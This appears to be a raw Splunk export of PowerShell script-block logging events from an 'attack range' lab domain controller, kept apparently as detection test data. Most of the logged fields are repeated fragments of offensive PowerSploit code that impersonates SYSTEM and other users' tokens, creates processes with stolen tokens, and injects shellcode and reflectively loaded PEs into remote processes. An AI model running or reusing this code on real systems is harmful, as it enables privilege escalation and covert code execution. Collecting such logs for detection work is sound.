$_.id -ne 0} #Get all tokens foreach ($Process in $ProcessIds) { $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. if ($PrimaryTokenInfo -ne $null) { [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken if ($hToken -ne [IntPtr]::Zero) { #Get the LUID corrosponding to the logon $ReturnObj = Get-TokenInformation -hToken $hToken if ($ReturnObj -ne $null) { $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id $AllTokens += $ReturnObj } } else { Write-Warning ""Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)"" } foreach ($Thread in $Process.Threads) { $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) if ($hToken -ne [IntPtr]::Zero) { $ReturnObj = Get-TokenInformation -hToken $hToken if ($ReturnObj -ne $null) { $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id $AllTokens += $ReturnObj } } } } } return $AllTokens } function Invoke-RevertToSelf { Param( [Parameter(Position=0)] [Switch] $ShowOutput ) $Success = $RevertToSelf.Invoke() if ($ShowOutput) { if ($Success) { Write-Output ""RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } else { Write-Output ""RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } } } #Main function function Main { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"")) { Write-Error ""Script must be run as administrator"" -ErrorAction Stop } c6e2b348-4ef9-412d-ab1f-52b3ecafb72eC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1",,4104,122416,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,8,9,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1",,,"'5388'",,,,,,122416,,,,"c6e2b348-4ef9-412d-ab1f-52b3ecafb72e","uccess) { $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""Failed to ImpersonateLoggedOnUser. Error code: $Errorcode"" } } $Success = $CloseHandle.Invoke($NewHToken) $NewHToken = [IntPtr]::Zero if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"" } return $Success } function Create-ProcessWithToken { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $hToken, [Parameter(Position=1, Mandatory=$true)] [String] $ProcessName, [Parameter(Position=2)] [String] $ProcessArgs, [Parameter(Position=3)] [Switch] $PassThru ) Write-Verbose ""Entering Create-ProcessWithToken"" #Duplicate the token so it can be used to create a new process [IntPtr]$NewHToken = [IntPtr]::Zero $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""DuplicateTokenEx failed. ErrorCode: $ErrorCode"" } else { $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""$ProcessName"") $ProcessArgsPtr = [IntPtr]::Zero if (-not [String]::IsNullOrEmpty($ProcessArgs)) { $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""`""$ProcessName`"" $ProcessArgs"") } $FunctionName = """" if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) { #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege #which is not ideal. Write-Verbose ""Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."" Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $FunctionName = ""CreateProcessAsUserW"" } else { Write-Verbose ""Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token."" $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $FunctionName = ""CreateProcessWithTokenW"" } if ($Success) { #Free the handles returned in the ProcessInfo structure $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null #Pass created System.Diagnostics.Process object to pipeline if ($PassThru) { #Retrieving created System.Diagnostics.Process object $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId #Caching process handle so we don't lose it when the process exits $null = $returnProcess.Handle #Passing System.Diagnostics.Process object to pipeline $returnProcess } } else { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""$FunctionName failed. Error code: $ErrorCode"" } #Free StartupInfo memory and ProcessInfo memory [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) $StartupInfoPtr = [Intptr]::Zero [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) $ProcessInfoPtr = [IntPtr]::Zero [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) $ProcessNamePtr = [IntPtr]::Zero #Close handle for the token duplicated with DuplicateTokenEx $Success = $CloseHandle.Invoke($NewHToken) $NewHToken = [IntPtr]::Zero if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"" } } } function Free-AllTokens { Param( [Parameter(Position=0, Mandatory=$true)] [PSObject[]] $TokenInfoObjs ) foreach ($Obj in $TokenInfoObjs) { $Success = $CloseHandle.Invoke($Obj.hToken) if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode"" } $Obj.hToken = [IntPtr]::Zero } } #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. function Enum-AllTokens { $AllTokens = @() #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object { $OwnerInfo = $_.GetOwner() if ($OwnerInfo.Domain -and $OwnerInfo.User) { $OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper() if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { $_ } } } ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue if ($SystemTokenInfo) { break } } if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) { Write-Warning ""Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"" } if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero) { $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null $SystemTokenInfo = $null } $ProcessIds = get-process | where {$_.name -inotmatch ""^csrss$"" -and $_.name -inotmatch ""^system$"" -and $_.id -ne 0} #Get all tokens foreach ($Process in $ProcessIds) { $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. if ($PrimaryTokenInfo -ne $null) { [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken if ($hToken -ne [IntPtr]::Zero) { #Get the LUID corrosponding to the logon $ReturnObj = Get-TokenInformation -hToken $hToken if ($ReturnObj -ne $null) { $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id $AllTokens += $ReturnObj } } else { Write-Warning ""Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)"" } foreach ($Thread in $Process.Threads) { $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) if ($hToken -ne [IntPtr]::Zero) { $ReturnObj = Get-TokenInformation -hToken $hToken if ($ReturnObj -ne $null) { $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id $AllTokens += $ReturnObj } } } } } return $AllTokens } function Invoke-RevertToSelf { Param( [Parameter(Position=0)] [Switch] $ShowOutput ) $Success = $RevertToSelf.Invoke() if ($ShowOutput) { if ($Success) { Write-Output ""RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } else { Write-Output ""RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } } } #Main function function Main { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"")) { Write-Error ""Script must be run as administrator"" -ErrorAction Stop }",,,,,,,,,,,"'2022-05-02T18:24:36.051109600Z'","4104132150x0122416Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122416Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local89uccess) { $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""Failed to ImpersonateLoggedOnUser. Error code: $Errorcode"" } } $Success = $CloseHandle.Invoke($NewHToken) $NewHToken = [IntPtr]::Zero if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"" } return $Success } function Create-ProcessWithToken { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $hToken, [Parameter(Position=1, Mandatory=$true)] [String] $ProcessName, [Parameter(Position=2)] [String] $ProcessArgs, [Parameter(Position=3)] [Switch] $PassThru ) Write-Verbose ""Entering Create-ProcessWithToken"" #Duplicate the token so it can be used to create a new process [IntPtr]$NewHToken = [IntPtr]::Zero $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""DuplicateTokenEx failed. ErrorCode: $ErrorCode"" } else { $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""$ProcessName"") $ProcessArgsPtr = [IntPtr]::Zero if (-not [String]::IsNullOrEmpty($ProcessArgs)) { $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""`""$ProcessName`"" $ProcessArgs"") } $FunctionName = """" if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) { #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege #which is not ideal. Write-Verbose ""Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."" Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $FunctionName = ""CreateProcessAsUserW"" } else { Write-Verbose ""Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token."" $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $FunctionName = ""CreateProcessWithTokenW"" } if ($Success) { #Free the handles returned in the ProcessInfo structure $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null #Pass created System.Diagnostics.Process object to pipeline if ($PassThru) { #Retrieving created System.Diagnostics.Process object $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId #Caching process handle so we don't lose it when the process exits $null = $returnProcess.Handle #Passing System.Diagnostics.Process object to pipeline $returnProcess } } else { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""$FunctionName failed. Error code: $ErrorCode"" } #Free StartupInfo memory and ProcessInfo memory [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) $StartupInfoPtr = [Intptr]::Zero [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) $ProcessInfoPtr = [IntPtr]::Zero [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) $ProcessNamePtr = [IntPtr]::Zero #Close handle for the token duplicated with DuplicateTokenEx $Success = $CloseHandle.Invoke($NewHToken) $NewHToken = [IntPtr]::Zero if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"" } } } function Free-AllTokens { Param( [Parameter(Position=0, Mandatory=$true)] [PSObject[]] $TokenInfoObjs ) foreach ($Obj in $TokenInfoObjs) { $Success = $CloseHandle.Invoke($Obj.hToken) if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode"" } $Obj.hToken = [IntPtr]::Zero } } #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. function Enum-AllTokens { $AllTokens = @() #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object { $OwnerInfo = $_.GetOwner() if ($OwnerInfo.Domain -and $OwnerInfo.User) { $OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper() if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { $_ } } } ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue if ($SystemTokenInfo) { break } } if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) { Write-Warning ""Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"" } if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero) { $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null $SystemTokenInfo = $null } $ProcessIds = get-process | where {$_.name -inotmatch ""^csrss$"" -and $_.name -inotmatch ""^system$"" -and $_.id -ne 0} #Get all tokens foreach ($Process in $ProcessIds) { $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. if ($PrimaryTokenInfo -ne $null) { [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken if ($hToken -ne [IntPtr]::Zero) { #Get the LUID corrosponding to the logon $ReturnObj = Get-TokenInformation -hToken $hToken if ($ReturnObj -ne $null) { $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id $AllTokens += $ReturnObj } } else { Write-Warning ""Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)"" } foreach ($Thread in $Process.Threads) { $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) if ($hToken -ne [IntPtr]::Zero) { $ReturnObj = Get-TokenInformation -hToken $hToken if ($ReturnObj -ne $null) { $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id $AllTokens += $ReturnObj } } } } } return $AllTokens } function Invoke-RevertToSelf { Param( [Parameter(Position=0)] [Switch] $ShowOutput ) $Success = $RevertToSelf.Invoke() if ($ShowOutput) { if ($Success) { Write-Output ""RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } else { Write-Output ""RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"" } } } #Main function function Main { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"")) { Write-Error ""Script must be run as administrator"" -ErrorAction Stop } c6e2b348-4ef9-412d-ab1f-52b3ecafb72eC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1","2022-05-02T18:24:36.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122416,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122416,win,269,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-4766-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"7120ible -eq $true) { Write-Verbose ""Update memory protection flags"" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose ""PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"" } } else { Write-Verbose ""PE being loaded in to a remote process, not adjusting memory permissions"" } #If remote loading, copy the DLL in to remote process memory if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw ""Unable to write shellcode to remote process memory."" } } #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function if ($PEInfo.FileType -ieq ""DLL"") { if ($RemoteLoading -eq $false) { Write-Verbose ""Calling dllmain so the DLL knows it has been loaded"" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw ""Unable to allocate memory in the remote process for shellcode"" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw ""Unable to write shellcode to remote process memory."" } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw ""Call to CreateRemoteThread to call GetProcAddress failed."" } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq ""EXE"") { #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose ""Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in."" $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose ""EXE thread has completed."" break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } Function Invoke-MemoryFreeLibrary { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $PEHandle ) #Get Win32 constants and functions $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants #Call FreeLibrary for all the imports of the DLL if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) #If the structure is null, it signals that this is the end of the array if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose ""Done unloading the libraries needed by the PE"" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { Write-Warning ""Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways"" -WarningAction Continue } $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) if ($Success -eq $false) { Write-Warning ""Unable to free library: $ImportDllPath. Continuing anyways."" -WarningAction Continue } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } #Call DllMain with process detach Write-Verbose ""Calling dllmain so the DLL knows it is being unloaded"" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue } } Function Main { $Win32Functions = Get-Win32Functions $Win32Types 